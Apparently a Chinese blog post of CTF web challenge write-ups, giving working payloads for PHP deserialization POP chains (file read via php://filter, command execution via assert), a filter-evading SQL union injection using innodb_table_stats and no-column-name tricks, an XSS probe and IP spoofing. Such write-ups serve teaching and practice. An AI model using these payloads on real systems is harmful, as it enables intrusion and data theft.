当前位置:网站首页>buu web
buu web
2022-08-04 21:00:00 【1-1A0】
web
[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
- 链构造
Show::wakeup()->Show::__toString->Test::__get()->Modifier::__invoke()->include
__incoke() 当作函数时调用
__get() 访问不存在的成员变量时调用的
__toString() :在对象当做字符串的时候会被调用。
__wakeup则将属性source传入正则匹配函数preg_match(),在这个函数中source属性就被当做字符串处理
<?php
class Modifier {
protected $var='php://filter/convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a=new Show();
$a->str=new Test();
$a->source='aaa'; #一个不存在的,执行get
$a->str->p=new Modifier;
$b=new Show;
$b->source=$a; #wakeup的执行
//存在protected属性
echo urlencode(serialize($b));
由于 b类内包含一个a类,首先让a类能当作字符串解析,并且wakeup要比toString先执行
所以要加一层使source先转化成String在解析。
[SWPU2019]Web1
注册账号,登录
发送广告,xss
<script>alert(/XSS/)</script>
使用xss平台但是没有获得有用信息。尝试使用XSS读取文件,但是没有回显可能存在sql注入
使用sqlmap发现这里不行用户可控的点还有
广告名
尝试xss发现不行1' and 1=1
这里有问题,模糊测试:敏感词汇:
空格 # --+ and or
只能union联合查询
报错看到查询语句后内容
针对注释过滤 having '1'='1 但是报错。可以使用&&'1'='1
或者使用单引号闭合 1'union select 1'
空格过滤->/**/
- 确认行列
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
回显
- 表名,列名
-1'union/**/select/**/1,database(),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
报错,测试information_schema.tables
被过滤
但是可以知道数据库名 ‘web1’
问题变成如何通过数据库名查表名:一篇不错的文章
之前通过information_schema.tables查,也就是自带的库名,现在换自带的库名查询
采用innodb_index_stats和 innodb_table_stats来进行绕过
select table_name ffrom mysql.innodb_table_stats/**/where/**/database_name="web1"'
列名:无列名注入
select c from (select 1,2 as b,3,4 as c,5 as d union select * from table)a; #select c == select 4也就是第四列,并打印出内容
(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a)
- 最终payload
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
[MRCTF2020]PYWebsite
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}
}
- 有个二维码,扫描一下,出现内容无用
- 验证码的比较。只需要hex_md5函数比较通过。通过搜索发现js没有md5加密,需要自己定义,找到md5加密
js/md5.js
.
/* * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message * Digest Algorithm, as defined in RFC 1321. * Version 2.1 Copyright (C) Paul Johnston 1999 - 2002. * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet * Distributed under the BSD License * See http://pajhome.org.uk/crypt/md5 for more info. */
- RSA密码,解出很难,继续信息收集
- 尝试直接访问flag.php
- 保存IP,除了购买者和我。于是可以伪造IP为127.0.0.1来获得flag
- 思路错误,在想如何破解密码,没有做足够的信息收集
[NPUCTF2020]ReadlezPHP
- 网站打开后
- 多刷新几次,发现时间变化。源码
- 访问time.php?source=0。得到源码
- 反序列化+命令执行。但是源码并不完整,可能存在过滤,尝试
- Buu扫描会429
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
- 尝试 执行命令,传木马的函数
system('ls'); 不行
passthru('ls')不行
exec行
assert()行
assert($_POST[cmd])#没什么东西
assert(phpinfo()); #ctrl+f找flag关键字
边栏推荐
猜你喜欢
随机推荐
【AGC】构建服务1-云函数示例
Interviewer: How is the expired key in Redis deleted?
在vs code中进行本地调试和开启本地服务器
win10 uwp 使用 ScaleTransform 放大某个元素
MySQL字段类型
简述@RequestParam与@RequestBody参数注解
Tear down the underlying mechanism of the five JOINs of SparkSQL
知识分享|如何设计有效的帮助中心,不妨来看看以下几点
proe和creo的区别有哪些
vim clear last search highlighting
visual studio 2015 warning MSB3246
3. Byte stream and character stream of IO stream
[21 days learning challenge - kernel notes] (2), based in the device tree
vs Code runs a local web server
两种白名单限流方案(redis lua限流,guava方案)
链栈的应用
for 循环中的 ++i 与 i++
STP --- 生成树协议
漫画 | 老板裁掉我两周后,又把我请回去,工资翻番!
数据仓库(1)什么是数据仓库,数仓有什么特点